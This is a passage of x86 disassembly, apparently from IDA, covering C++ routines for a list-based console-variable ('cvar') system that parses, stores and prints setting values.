sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 2830000h
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

